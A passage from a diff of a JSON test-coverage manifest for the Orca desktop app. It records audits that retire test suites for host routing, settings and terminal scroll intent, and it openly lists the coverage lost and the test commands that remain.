lookup with reversed same-ID catalog rows is intentionally lost; that example did not activate a workspace. After the subsequent audit, current assertions in this suite name only the retained local-first worktree activation; the selected-runtime folder/group host-echo example was removed. They are not equivalent replacements for the reversed-order lookup alarm. Historical executed commands, counts and results remain unchanged; no new live host, restart, platform or mobile evidence is claimed. The test-value audit narrows renderer store settings.test.ts by removing immediate authoritative-settings/response rebasing, checked-failure forwarding, best-effort logging, mobile-address/provider normalization, successful catalog-start, hand-seeded partial-status coverage and ghost-status filtering examples. Those direct response, normalization, error and catalog-projection alarms are intentionally lost. The runtime focus-switch resource/draft preservation, unreachable/incompatible refusal and held catalog coalescing/retry/staleness cases remain; they are not equivalent replacements for the removed alarms. Historical executed commands, counts and results remain unchanged; no new live host, restart, platform or mobile evidence is claimed. The test-value audit narrows worktrees-fetch-owner-routing.test.ts by removing default-local transport selection, ownerless runtime stamping, isolated force-local routing, and mocked mobile-denial/toast examples. Those direct routing, field and presentation alarms are lost. Retained concurrency and authority-fencing cases do not establish equivalent replacement coverage or live host, platform, restart or mobile evidence. Historical commands, counts and results remain unchanged. The test-value audit removes the separate paired-web host-switch resource-preservation example from renderer store settings.test.ts. Its explicit web-mode terminal/browser no-close and retained PTY/remote-browser-handle alarms are intentionally lost. The surviving desktop host-merge, resource/draft preservation, refusal and catalog retry/coalescing/staleness cases are not equivalent replacement coverage. Historical executed commands, counts and results remain unchanged; no new live host, restart, platform or mobile evidence is claimed. The test-value audit removes the selected-runtime folder/group activation example from selected-host-active-workspace-identity.test.ts. That large same-ID fixture only asserted that the explicit host argument was stored and read back; it did not check the chosen folder path, group or delivered operation. Its narrow non-rejection/host-echo alarm is intentionally lost. Only the local-first worktree case that independently checks the returned runtime path remains in this suite. Historical executed commands, counts and results remain unchanged; no equivalent replacement or new live-host evidence is claimed. The continued test-value audit narrows worktrees-fetch-owner-routing.test.ts by retiring the simple explicit-local duplicate-repo request and runtime-only host-stamping examples. Those exact request-option and supplied-row alarms are intentionally lost. The retained force-local sibling-preservation and project-setup stamping cases use different inputs and are not equivalent replacements. Historical commands, counts and results remain unchanged; no live-host, restart, platform or mobile evidence is added. The test-value audit removes the browser-settings host-option fallback helper suite. Its direct selected/default/empty-option preference alarms are lost; no browser session, host delivery or persistence was exercised there. Remaining routing evidence is not an equivalent replacement. Historical commands, counts and results remain historical. The test-value audit deletes paired-web-add-project-unavailable-host.spec.ts. Its injected blocked/unavailable-host disabled-action and no-local-option presentation alarms are intentionally lost. The snapshot sequence and null transport do not prove actual version negotiation or operation rejection. Other routing evidence is not an equivalent replacement; no new runtime, platform or mobile evidence is claimed. The two retired historical receipts and assertion reference are archived below with their original fields and results. Audit1320: src/renderer/src/components/settings/runtime-environments/catalog/RuntimeEnvironmentsPane.test.ts removed. Transport-up/runtime-down, failed-probe ready/reconnect/handshake and stale compatibility label/button state inventories lose alarms. No equivalent replacement coverage is claimed. Audit1342: src/renderer/src/components/sidebar/worktree-list/listing/host-filtering.test.ts removed. Runtime/SSH/default row ownership and folder/project path-status routing samples disappear. src/renderer/src/store/slices/repos-catalog-reconciliation.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Audit1337: src/renderer/src/components/sidebar/project-admission/dialog/add-repo-browse-authority.test.ts removed. Removes paired-host browse versus native picker callback flags and SSH no-browse predicate samples. src/renderer/src/components/sidebar/project-admission/dialog/AddRepoDialog.default-checkout.test.ts removed. Removes explicit local/runtime versus missing owner selector examples. No equivalent replacement coverage is claimed. Audit1352: focused Linux unit selections validated on source head b638e07d395b76af3ba6b03761a1a0fe7e5e026e. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1360: focused Linux unit selections validated on source head 415c9cffc2d10024131ec4b6721767a22195de6d. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1391: src/renderer/src/lib/worktree-runtime-owner.test.ts reduced. Lose explicit repeated-lookup work/read budget and standalone initial owner lookup alarms. Retained production resolver proves changed ownership is visible, using synthetic catalogs rather than server publication. No equivalent replacement coverage is claimed.",
       "motivatingLinks": [
         "https://github.com/stablyai/orca/pull/9687",
         "https://linear.app/stably/issue/STA-4024/p1-paired-web-add-project-enables-unavailable-host-fallback-after-pr"
       ],
       "invariant": "Only an explicit user change in Settings > Remote Orca Servers > Advanced > Active Server may mutate activeRuntimeEnvironmentId. Connecting, pairing, disconnecting, selecting or revealing a workspace or terminal, browser/mobile handoff, remote navigation, and reconnect must use transient or target-owner routing and must never rewrite the durable preference. Every Add Project selected host must satisfy canSelectAddRepoHost; paired web has no local filesystem fallback, so no valid host means Browse, Clone, and Create remain disabled. Every operation stays on the host selected when it began, even if preference or catalog state changes. Generic settings mutation cannot bypass the dedicated preference IPC.",
-      "oracle": "Audit2371 reduces all-host-folder-workspace-catalogs.test.ts by removing the repeated offline compatibility-probe budget and its incidental local-fallback/restored-owner samples, and catalog-settlement-notifications.test.ts by removing the four-route ten-equal-refresh notification/reference matrix. Those probe, quietness, identity and fallback alarms are intentionally lost. Remaining stale-response and revision-fencing examples do not supply equivalent replacement coverage. No fresh execution or red/green evidence validates the reduced sources; the four unrelated physical selected-runtime E2E receipts retain their original commands and scope. Historical prior account (preserved verbatim): Audit2360 removes src/renderer/src/hooks/useIpcEvents-terminal-create-surfacing.test.ts and its exclusive fake-effect harness. Lose local default-runtime persistence across navigation; focused/background terminal request/create/reveal and no-focus recovery; startup cwd/config/agent/view-mode forwarding; explicit runtime-session routing; remote/ambiguous/missing owner refusal; history focus; existing PTY reuse/title preservation; pending tab PTY/layout/identity adoption; split tree, focus, identity and telemetry samples. No equivalent replacement claimed. Changed selectors have no fresh execution or red/green credit. Unrelated retained receipt objects keep their original narrow scope. Historical prior account (preserved verbatim): Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/store/project-groups/nested-repository-operations.test.ts: routes local nested scan progress by scanId and unsubscribes after completion. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Start with Active Server=Local desktop, connect and navigate Windows 2, then reveal a local terminal and assert it succeeds while the persisted preference remains local before and after restart. Repeat transient routing and selected-runtime Add Project operations with exact-ID host decoys and completion reordering. Separately pair the real web client to an isolated headed host, then make its sole still-listed runtime compatibility-blocked and unavailable. Require a null authoritative selection, a disabled host option, and disabled Browse, Clone, and Create actions with no local fallback. Repeat against headless serve. Run the byte-identical selector/action contract on latest main, candidate, and candidate with the eligibility seam disabled.",
+      "oracle": "Audit3362 retires the whole settings suite, including dirty-draft focus, background-host keepalive, protocol/catalog compatibility, stale/failure and refresh examples. The compound unit selector and test-file entry narrow; all prior owner-routing retirements/history remain. Four unrelated selected-runtime macOS E2E receipts remain verbatim and do not validate the changed unit selector. No equivalent replacement or fresh runtime/provider/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit3349 retires the explicit runtime-owner, explicit SSH-owner and missing-owner-after-catalog-change examples from worktrees-fetch-owner-routing. Of those four named assertions, only the missing-owner-after-provider-reconnect assertion remains; the command and test-file selector survive. Those three alarms are intentionally lost without equivalent replacement. Four unrelated physical selected-runtime macOS E2E receipts remain verbatim; the frozen static closure does not select changed tests through their literal roots. No fresh runtime, provider, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: drops older same-host group and folder responses that finish last — Copies group and folder fixtures plus four deferred responses to re-test the same generic catalog generation fence in two wrappers. Retires stale same-host response rejection at these API copies.; drops pre-reconnect group and folder responses without pruning the new catalog — Directly replaces pairing/catalog fixtures then resolves scripted old group/folder replies; repeats identity-fence contract in two catalog wrappers without real reconnect. Retires pre-reconnect catalog pruning refusal example.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit2371 reduces all-host-folder-workspace-catalogs.test.ts by removing the repeated offline compatibility-probe budget and its incidental local-fallback/restored-owner samples, and catalog-settlement-notifications.test.ts by removing the four-route ten-equal-refresh notification/reference matrix. Those probe, quietness, identity and fallback alarms are intentionally lost. Remaining stale-response and revision-fencing examples do not supply equivalent replacement coverage. No fresh execution or red/green evidence validates the reduced sources; the four unrelated physical selected-runtime E2E receipts retain their original commands and scope. Historical prior account (preserved verbatim): Audit2360 removes src/renderer/src/hooks/useIpcEvents-terminal-create-surfacing.test.ts and its exclusive fake-effect harness. Lose local default-runtime persistence across navigation; focused/background terminal request/create/reveal and no-focus recovery; startup cwd/config/agent/view-mode forwarding; explicit runtime-session routing; remote/ambiguous/missing owner refusal; history focus; existing PTY reuse/title preservation; pending tab PTY/layout/identity adoption; split tree, focus, identity and telemetry samples. No equivalent replacement claimed. Changed selectors have no fresh execution or red/green credit. Unrelated retained receipt objects keep their original narrow scope. Historical prior account (preserved verbatim): Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/store/project-groups/nested-repository-operations.test.ts: routes local nested scan progress by scanId and unsubscribes after completion. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Start with Active Server=Local desktop, connect and navigate Windows 2, then reveal a local terminal and assert it succeeds while the persisted preference remains local before and after restart. Repeat transient routing and selected-runtime Add Project operations with exact-ID host decoys and completion reordering. Separately pair the real web client to an isolated headed host, then make its sole still-listed runtime compatibility-blocked and unavailable. Require a null authoritative selection, a disabled host option, and disabled Browse, Clone, and Create actions with no local fallback. Repeat against headless serve. Run the byte-identical selector/action contract on latest main, candidate, and candidate with the eligibility seam disabled.",
       "commands": [
-        "pnpm exec vitest run --config config/vitest.config.ts src/main/ipc/runtime-environments/runtime-environments-pairing.test.ts src/renderer/src/store/slices/settings/settings.test.ts src/renderer/src/store/slices/browser/hosts/browser-session-host-selection.test.ts src/renderer/src/web/web-preload-api-runtime-environment.test.ts --maxWorkers=1",
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/resolved-worktree-execution-host.test.ts src/renderer/src/store/repos/ssh-repo-readoption-drafts.test.ts src/renderer/src/store/folder-workspaces/folder-workspace-readoption-drafts.test.ts src/renderer/src/store/repos/repo-catalog-readoption-drafts.test.ts src/renderer/src/store/folder-workspaces/all-host-folder-workspace-catalogs.test.ts src/renderer/src/store/host-catalog/catalog-settlement-notifications.test.ts src/renderer/src/store/repos/repos-stale-fetch.test.ts src/renderer/src/store/folder-workspaces/folder-workspace-routing.test.ts src/renderer/src/store/repos/repos-selected-owner-routing.test.ts src/renderer/src/store/slices/worktrees/session/selected-host-active-workspace-identity.test.ts src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-owner-routing.test.ts --maxWorkers=1",
+        "pnpm exec vitest run --config config/vitest.config.ts src/main/ipc/runtime-environments/runtime-environments-pairing.test.ts src/renderer/src/store/slices/browser/hosts/browser-session-host-selection.test.ts src/renderer/src/web/web-preload-api-runtime-environment.test.ts --maxWorkers=1",
+        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/repos/ssh-repo-readoption-drafts.test.ts src/renderer/src/store/folder-workspaces/folder-workspace-readoption-drafts.test.ts src/renderer/src/store/repos/repo-catalog-readoption-drafts.test.ts src/renderer/src/store/folder-workspaces/all-host-folder-workspace-catalogs.test.ts src/renderer/src/store/host-catalog/catalog-settlement-notifications.test.ts src/renderer/src/store/repos/repos-stale-fetch.test.ts src/renderer/src/store/folder-workspaces/folder-workspace-routing.test.ts src/renderer/src/store/repos/repos-selected-owner-routing.test.ts src/renderer/src/store/slices/worktrees/session/selected-host-active-workspace-identity.test.ts src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-owner-routing.test.ts --maxWorkers=1",
         "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/sidebar/project-admission/dialog/AddRepoStartSteps.test.tsx --maxWorkers=1",
         "pnpm run ensure:electron-runtime && npx playwright test tests/e2e/pr11346-selected-runtime-add.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1 --reporter=line",
         "pnpm run ensure:electron-runtime && npx playwright test tests/e2e/pr11346-selected-runtime-add.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --reporter=line"
       ],
       "testFiles": [
         "src/main/ipc/runtime-environments/runtime-environments-pairing.test.ts",
-        "src/renderer/src/store/slices/settings/settings.test.ts",
         "src/renderer/src/store/slices/browser/hosts/browser-session-host-selection.test.ts",
-
         "src/renderer/src/web/web-preload-api-runtime-environment.test.ts",
         "src/renderer/src/components/sidebar/project-admission/dialog/AddRepoStartSteps.test.tsx",
-        "src/renderer/src/lib/resolved-worktree-execution-host.test.ts",
         "src/renderer/src/store/repos/ssh-repo-readoption-drafts.test.ts",
         "src/renderer/src/store/folder-workspaces/folder-workspace-readoption-drafts.test.ts",
         "src/renderer/src/store/repos/repo-catalog-readoption-drafts.test.ts",
@@ -7660,19 +7460,12 @@
         {
           "file": "src/renderer/src/store/repos/repos-selected-owner-routing.test.ts",
           "assertions": [
-            "keeps a selected-runtime import refresh across an overlapping local refresh",
-            "drops reversed same-host folder responses without replacing the newer folder catalog",
-            "rejects pre-reconnect group and folder responses after the runtime pairing revision changes"
+            "keeps a selected-runtime import refresh across an overlapping local refresh"
           ]
         },
         {
           "file": "src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-owner-routing.test.ts",
-          "assertions": [
-            "honors an explicit runtime owner before the repo catalog is hydrated",
-            "honors an explicit SSH owner before the repo catalog is hydrated",
-            "rejects a missing-owner SSH result after the repo catalog changes",
-            "rejects a missing-owner SSH result after the provider reconnects"
-          ]
+          "assertions": ["rejects a missing-owner SSH result after the provider reconnects"]
         },
         {
           "file": "src/renderer/src/store/slices/worktrees/session/selected-host-active-workspace-identity.test.ts",
@@ -7801,7 +7594,14 @@
         "Audit1488 deletes NonGitFolderDialog tests. The hand-assembled scan/import pipelines, supplied host and folder outcomes, registration callback receipts and static host confirmation alarms are retired. No equivalent replacement coverage or fresh routing validation is claimed. Historical receipts and assertions describe their original sources only.",
         "Audit1488 historical assertion inventory; not current validated assertions: []",
         "Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/store/project-groups/nested-repository-operations.test.ts: routes local nested scan progress by scanId and unsubscribes after completion. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed.",
-        "Audit2371 reduces all-host-folder-workspace-catalogs.test.ts by removing the repeated offline compatibility-probe budget and its incidental local-fallback/restored-owner samples, and catalog-settlement-notifications.test.ts by removing the four-route ten-equal-refresh notification/reference matrix. Those probe, quietness, identity and fallback alarms are intentionally lost. Remaining stale-response and revision-fencing examples do not supply equivalent replacement coverage. No fresh execution or red/green evidence validates the reduced sources; the four unrelated physical selected-runtime E2E receipts retain their original commands and scope."
+        "Audit2371 reduces all-host-folder-workspace-catalogs.test.ts by removing the repeated offline compatibility-probe budget and its incidental local-fallback/restored-owner samples, and catalog-settlement-notifications.test.ts by removing the four-route ten-equal-refresh notification/reference matrix. Those probe, quietness, identity and fallback alarms are intentionally lost. Remaining stale-response and revision-fencing examples do not supply equivalent replacement coverage. No fresh execution or red/green evidence validates the reduced sources; the four unrelated physical selected-runtime E2E receipts retain their original commands and scope.",
+        "Module-layout wave2 intentionally retires complete prohibited owning registrations in src/renderer/src/lib/resolved-worktree-execution-host.test.ts. Lost alarms: Both explicit and legacy workspace owners resolve to env-a initially. Replacing the repo catalog refreshes legacy ownership to env-b. A conflicting local repo row makes ownership ambiguous and returns null. Repeated unrelated updates perform zero id reads, an internal work-budget alarm removed. No equivalent replacement coverage or reduced-selector pass is claimed.",
+        "Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: drops older same-host group and folder responses that finish last — Copies group and folder fixtures plus four deferred responses to re-test the same generic catalog generation fence in two wrappers. Retires stale same-host response rejection at these API copies.; drops pre-reconnect group and folder responses without pruning the new catalog — Directly replaces pairing/catalog fixtures then resolves scripted old group/folder replies; repeats identity-fence contract in two catalog wrappers without real reconnect. Retires pre-reconnect catalog pruning refusal example.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed.",
+        "Audit3349 retires the explicit runtime-owner, explicit SSH-owner and missing-owner-after-catalog-change examples from worktrees-fetch-owner-routing. Of those four named assertions, only the missing-owner-after-provider-reconnect assertion remains; the command and test-file selector survive. Those three alarms are intentionally lost without equivalent replacement. Four unrelated physical selected-runtime macOS E2E receipts remain verbatim; the frozen static closure does not select changed tests through their literal roots. No fresh runtime, provider, historical-import, mobile, mixed-version or cross-platform validation is claimed.",
+        "Audit3349 historical original assertionRefs object, preserved verbatim; retired source claims are not active evidence or replacement coverage:\n{\n          \"file\": \"src/renderer/src/store/slices/worktrees/listing/worktrees-fetch-owner-routing.test.ts\",\n          \"assertions\": [\n            \"honors an explicit runtime owner before the repo catalog is hydrated\",\n            \"honors an explicit SSH owner before the repo catalog is hydrated\",\n            \"rejects a missing-owner SSH result after the repo catalog changes\",\n            \"rejects a missing-owner SSH result after the provider reconnects\"\n          ]\n        }",
+        "Audit3362 retires the whole settings suite, including dirty-draft focus, background-host keepalive, protocol/catalog compatibility, stale/failure and refresh examples. The compound unit selector and test-file entry narrow; all prior owner-routing retirements/history remain. Four unrelated selected-runtime macOS E2E receipts remain verbatim and do not validate the changed unit selector. No equivalent replacement or fresh runtime/provider/UI/mobile/mixed-version/cross-platform evidence is claimed.",
+        "Audit3362 historical original commands object, preserved verbatim; retired source claims are not active evidence or replacement coverage:\n\"pnpm exec vitest run --config config/vitest.config.ts src/main/ipc/runtime-environments/runtime-environments-pairing.test.ts src/renderer/src/store/slices/settings/settings.test.ts src/renderer/src/store/slices/browser/hosts/browser-session-host-selection.test.ts src/renderer/src/web/web-preload-api-runtime-environment.test.ts --maxWorkers=1\"",
+        "Audit3362 historical original testFiles object, preserved verbatim; retired source claims are not active evidence or replacement coverage:\n\"src/renderer/src/store/slices/settings/settings.test.ts\""
       ],
       "demotionRule": "Demote or block release if any non-Advanced path mutates Active Server, if local reveal or Add Project depends on the durable default instead of captured workspace/host ownership, if an Add Project operation reaches a different host after it begins, or if transient host state survives restart."
     },
@@ -8006,7 +7806,7 @@
       "id": "terminal-scroll.intent-preservation",
       "title": "Scrollbar drag intent survives tab and visibility resume",
       "maturity": "experimental",
-      "protection": "partial",
+      "protection": "none",
       "owner": "terminal-rendering",
       "layer": "renderer-unit",
       "surfaces": [
@@ -8018,36 +7818,16 @@
       ],
       "platforms": ["macos", "linux", "windows"],
       "providers": ["local", "daemon", "ssh", "wsl", "remote-runtime"],
-      "coveredPlatforms": ["macos"],
+      "coveredPlatforms": [],
       "coveredProviders": [],
       "coverageNotes": "Audit2236: retain only old-terminal disposal refusing to overwrite its keyed successor, and mouse-report classification preserving wheel intent through rebuild. Both use synthetic terminal state. Remove delayed wheel sampling, pinned-growth remount, stale settle, generic rebuild suppression, wheel direction matrix, cleared-buffer durable pin and cancelled rebuild examples. No direct scrollbar/native scroll coverage or equivalent replacement is claimed. Historical dated receipt and budgets remain verbatim and do not validate these reduced source bytes. Historical prior account (preserved verbatim): The audit removes all direct scrollbar pointer-classification, dragged-viewport restoration and terminal-body exclusion examples. Retained wheel/rebuild and keyed-owner fixtures exercise related scroll-intent behavior with synthetic terminal state; they do not provide equivalent scrollbar coverage. The recorded macOS run is historical and is not a rerun of the reduced suite. Live daemon, SSH, WSL, remote-runtime, Linux and Windows scrollbar validation remains unproved.",
       "motivatingLinks": ["STA-1341"],
       "invariant": "A user-driven xterm scrollbar thumb or track scroll updates the live terminal scroll intent before tab, visibility, or layout resume enforces intent, so resume preserves the latest dragged viewport instead of an older pinned line.",
       "oracle": "Audit2236: retain only old-terminal disposal refusing to overwrite its keyed successor, and mouse-report classification preserving wheel intent through rebuild. Both use synthetic terminal state. Remove delayed wheel sampling, pinned-growth remount, stale settle, generic rebuild suppression, wheel direction matrix, cleared-buffer durable pin and cancelled rebuild examples. No direct scrollbar/native scroll coverage or equivalent replacement is claimed. Historical dated receipt and budgets remain verbatim and do not validate these reduced source bytes. Historical prior account (preserved verbatim): No retained unit test directly exercises scrollbar thumb/track targeting or a dragged viewport. The retained deterministic slice checks delayed wheel viewport sampling, keyed disposal/remount ownership, and wheel intent through rebuild completion or cancellation; these checks do not establish scrollbar-drag preservation.",
-      "commands": [
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/pane-manager/terminal-scroll-intent.test.ts"
-      ],
-      "testFiles": ["src/renderer/src/lib/pane-manager/terminal-scroll-intent.test.ts"],
-      "assertionRefs": [
-        {
-          "file": "src/renderer/src/lib/pane-manager/terminal-scroll-intent.test.ts",
-          "assertions": [
-            "does not let an old terminal disposal overwrite its keyed successor",
-            "keeps rebuild wheel intent when xterm classifies the same event as mouse input"
-          ]
-        }
-      ],
-      "evidenceRuns": [
-        {
-          "date": "2026-07-05",
-          "runner": "local",
-          "platform": "macos",
-          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/pane-manager/terminal-scroll-intent.test.ts",
-          "result": "passed",
-          "durationSeconds": 0.3,
-          "summary": "1 test file(s) passed, 17 tests passed in this worktree. Audit965 removes the direct scrollbar examples; this command/result remains historical and does not validate the reduced suite or equivalent scrollbar coverage."
-        }
-      ],
+      "commands": [],
+      "testFiles": [],
+      "assertionRefs": [],
+      "evidenceRuns": [],
       "runtimeBudget": {
         "p95Seconds": 10,
         "scope": "focused renderer unit test"
@@ -8070,6 +7850,10 @@
         "Attach red/green evidence for stale intent restoring the wrong viewport."
       ],
       "knownGaps": [
+        "NEXT65 current scope qualification: The NEXT65 knownGaps entries below govern the changed selectors and qualify any broader coverage implication in this gate’s unchanged oracle/coverageNotes narratives. Those narratives and preserved dated evidenceRuns retain their historical text and original exact execution scopes only; no fresh execution, transferred pass or equivalent replacement coverage is claimed. Upstream case removals remain upstream; original NEXT65 proposal descriptions grant no duplicate retirement credit.",
+        "NEXT65 terminal-owner layout and whole-case policy: src/renderer/src/lib/pane-manager/terminal-scroll-intent.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence.",
+        "NEXT65 historical original active selector fields (verbatim JSON values; not current coverage):\ncommands: [\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/pane-manager/terminal-scroll-intent.test.ts\"\n      ]\ntestFiles: [\"src/renderer/src/lib/pane-manager/terminal-scroll-intent.test.ts\"]\nassertionRefs: [\n        {\n          \"file\": \"src/renderer/src/lib/pane-manager/terminal-scroll-intent.test.ts\",\n          \"assertions\": [\n            \"does not let an old terminal disposal overwrite its keyed successor\",\n            \"keeps rebuild wheel intent when xterm classifies the same event as mouse input\"\n          ]\n        }\n      ]\ncoveredPlatforms: [\"macos\"]\ncoveredProviders: []",
+        "NEXT65 historical original evidenceRuns object (verbatim; no current-selector pass credit):\n{\n          \"date\": \"2026-07-05\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/pane-manager/terminal-scroll-intent.test.ts\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 0.3,\n          \"summary\": \"1 test file(s) passed, 17 tests passed in this worktree. Audit965 removes the direct scrollbar examples; this command/result remains historical and does not validate the reduced suite or equivalent scrollbar coverage.\"\n        }",
         "Audit2236: retain only old-terminal disposal refusing to overwrite its keyed successor, and mouse-report classification preserving wheel intent through rebuild. Both use synthetic terminal state. Remove delayed wheel sampling, pinned-growth remount, stale settle, generic rebuild suppression, wheel direction matrix, cleared-buffer durable pin and cancelled rebuild examples. No direct scrollbar/native scroll coverage or equivalent replacement is claimed. Historical dated receipt and budgets remain verbatim and do not validate these reduced source bytes.",
         "The manifest command covers narrower deterministic wheel/rebuild/keyed-owner behavior; it does not exercise scrollbar dragging or its DOM target contract.",
         "Live daemon, SSH, WSL, remote-runtime, Linux, and Windows validation is not covered by this gate.",
@@ -8082,7 +7866,7 @@
       "id": "terminal-scroll.streaming-refocus-intent",
       "title": "Streaming refocus preserves follow-output viewport intent",
       "maturity": "experimental",
-      "protection": "partial",
+      "protection": "none",
       "owner": "terminal-rendering",
       "layer": "renderer-unit-and-electron-e2e",
       "surfaces": [
@@ -8094,43 +7878,19 @@
       ],
       "platforms": ["macos", "linux", "windows"],
       "providers": ["local", "daemon", "ssh", "wsl", "remote-runtime"],
-      "coveredPlatforms": ["macos"],
-      "coveredProviders": ["local", "daemon"],
-      "coverageNotes": "Unit coverage proves provider-independent ordering for any PaneManager. Live Electron coverage exercises a local PTY through the daemon on macOS; SSH, WSL, remote-runtime, Linux, and Windows remain unproved for this exact race. Audit1299 removes tests/e2e/terminal-streaming-refocus-viewport.spec.ts. Private-state/work-budget/assembled-fixture alarms are intentionally lost; retained suites are not equivalent replacement coverage. No new runtime/platform evidence is claimed.",
+      "coveredPlatforms": [],
+      "coveredProviders": [],
+      "coverageNotes": "NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence. Historical prior account (preserved verbatim): Unit coverage proves provider-independent ordering for any PaneManager. Live Electron coverage exercises a local PTY through the daemon on macOS; SSH, WSL, remote-runtime, Linux, and Windows remain unproved for this exact race. Audit1299 removes tests/e2e/terminal-streaming-refocus-viewport.spec.ts. Private-state/work-budget/assembled-fixture alarms are intentionally lost; retained suites are not equivalent replacement coverage. No new runtime/platform evidence is claimed.",
       "motivatingLinks": [
         "https://github.com/stablyai/orca/issues/11753",
         "https://github.com/stablyai/orca/pull/11915"
       ],
       "invariant": "When output is queued during a focus or visibility transition, Orca records the pre-flush viewport intent before xterm parses backlog writes, so a follow-output terminal stays at the bottom and a pinned terminal keeps its prior position.",
       "oracle": "Unit tests require exactly one intent sync before each queued-output flush. The Electron test injects a transient top-of-buffer xterm wobble during refocus and requires every presented scrollbar frame, including the final rendered output, to remain at the bottom.",
-      "commands": [
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts",
-        "pnpm exec electron-vite build --mode e2e"
-      ],
-      "testFiles": [
-        "src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts"
-      ],
-      "assertionRefs": [
-        {
-          "file": "src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts",
-          "assertions": [
-            "window-wake recovery synchronizes viewport intent exactly once before flushing queued output",
-            "heavy visibility resume synchronizes intent exactly once before flushing queued output"
-          ]
-        }
-      ],
-      "evidenceRuns": [
-        {
-          "date": "2026-08-01",
-          "runner": "local",
-          "platform": "macos",
-          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/terminal-visibility-resume.test.ts",
-          "result": "passed",
-          "durationSeconds": 0.096,
-          "summary": "14 tests passed, including exact sync count and pre-flush ordering for wake and heavy visibility resume.",
-          "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts"
-        }
-      ],
+      "commands": [],
+      "testFiles": [],
+      "assertionRefs": [],
+      "evidenceRuns": [],
       "runtimeBudget": {
         "p95Seconds": 30,
         "scope": "focused renderer unit test or one Electron E2E iteration"
@@ -8157,7 +7917,10 @@
         "Live Linux, Windows, SSH, WSL, and remote-runtime execution is not covered for this exact race.",
         "The Electron gate proves follow-output behavior; adjacent scroll-intent coverage protects pinned viewport behavior.",
         "Audit1299 removes tests/e2e/terminal-streaming-refocus-viewport.spec.ts. Private-state/work-budget/assembled-fixture alarms are intentionally lost; retained suites are not equivalent replacement coverage. No new runtime/platform evidence is claimed.",
